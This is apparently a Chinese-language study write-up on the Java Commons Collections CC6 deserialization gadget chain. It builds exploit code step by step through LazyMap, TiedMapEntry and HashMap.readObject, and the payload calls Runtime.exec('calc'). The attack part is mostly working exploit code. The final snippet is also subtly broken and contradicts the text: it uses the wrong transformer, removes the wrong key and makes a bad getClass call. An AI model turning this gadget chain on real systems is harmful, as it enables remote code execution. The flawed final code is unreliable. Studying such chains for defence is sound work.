在 CC1 链的寻找中,查找 transform 的实现类时,我们用到的是 TransformedMap。实际上还有其余两个 Map:分别是 LazyMapDefaultMap

CC6 链用到的就是 LazyMap

我们打开 LazyMap, 先看一下它的 get 方法,里面调用了 transform:

Object value=this.factory,transform(key);

这里传的 这个 factory 是一个 Transformer。也就是说到时候我们把它的 factory 传成 ChainedTransformer。然后走进这个 if 里面就可以了。

if (!this.map.containsKey(key)) 

也就是我们要确保这个 LazyMap 里面没有这个 key。

普通的 Map 会这样:

normalMap.get("key");

这样 key 就存在了,就过不掉这层 if。

通过查阅资料可知,LazyMap(它是一个偷懒的 Map),在 new 出它的对象时,不会自动给你 get("key")。因此我们要让 this.map=LazyMap

恰好,在这个类的 decorate() 方法中,输入一个普通的 map,它给返回一个 LazyMap。

那我们就可以利用这个 decorate() 方法做到上面那点。

  • 根据 ysoSerial 官方的链子,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMapget() 方法。

这里的逻辑还是很简单的,直接调用它的 getValue 方法即可,然后这个 getValue()会自己去调用它的 map.get(key) 方法。

目前的 exp:

Transformer[] transformers = new Transformer[]{  
     new ConstantTransformer(Runtime.class),  
     new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
     new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
     new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
 };  
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
 HashMap<Object, Object> hashMap = new HashMap<>();  
 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
 tiedMapEntry.getValue();

  • 现在我们找找谁调用了 TiedMapEntry 中的 getValue() 方法

我们找到了 hashCode() 这个方法,它调用了 getValue()

HashMap.readObject()putValue 中对keyhash,会触发hashCode方法

所以:

目前的 exp:

Transformer[] transformers = new Transformer[]{  
    new ConstantTransformer(Runtime.class),  
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
HashMap<Object, Object> hashMap = new HashMap<>();  
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
HashMap<Object, Object> expMap = new HashMap<>();  
expMap.put(tiedMapEntry, "value");  
  
serialize(expMap);  
unserialize("ser.bin");  

  • 不过这里有一个问题:

在构造利用链的过程中,HashMap.put 会立即触发 hashCodeTiedMapEntry.getValueLazyMap.getfactory.transform,导致恶意代码在序列化之前就执行,破坏了我们想要的“只在反序列化时执行”的效果。

所以需要在开始, 破坏链子不能执行, 在序列化后, 通过反射修改恢复链子, 进而反序列化时可以成功执行

其中可以选择在利用decorate赋值的部分放入无用的Transformer:

Map<Object,Object> lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer(1));

在之后通过反射修改 Transformer 的 factory 值:

  • 最后发现Lazymap中的get方法中存在问题

可以分析下if这部分的逻辑, 他是会判断我们传进来的lazymap是否存在我们传入的key

所以在开始时进行put操作时走到这里会进入if内, 而此时的factory是我们放入的无用的Transformer,为了防止在序列化时执行命令,所以这里不会执行

但接下来进行的map.put操作会将此时的key放入lazymap,所以在接下来的反序列化操作时走到这里时, if部分就会检测到lazymap内存在key, 那么就不会进入if内部, 也就不会走到transform部分执行命令

  • 所以现在的思路就很清晰了, 也就是只需要在我们进行put操作后, 将赋给他的key删掉, 那么反序列化时再到if的判断部分就可以进去了, 也就可以执行命令了

最后的 exp:

Transformer[] transformers = new Transformer[]{  
    new ConstantTransformer(Runtime.class),  
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
HashMap<Object, Object> hashMap = new HashMap<>();  
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer);  
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
HashMap<Object, Object> expMap = new HashMap<>();  
expMap.put(tiedMapEntry, "value");  
lazyMap.remove("aaa");
Class c = LazyMap.getClass();
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(expMap);  
unserialize("ser.bin");  

更多推荐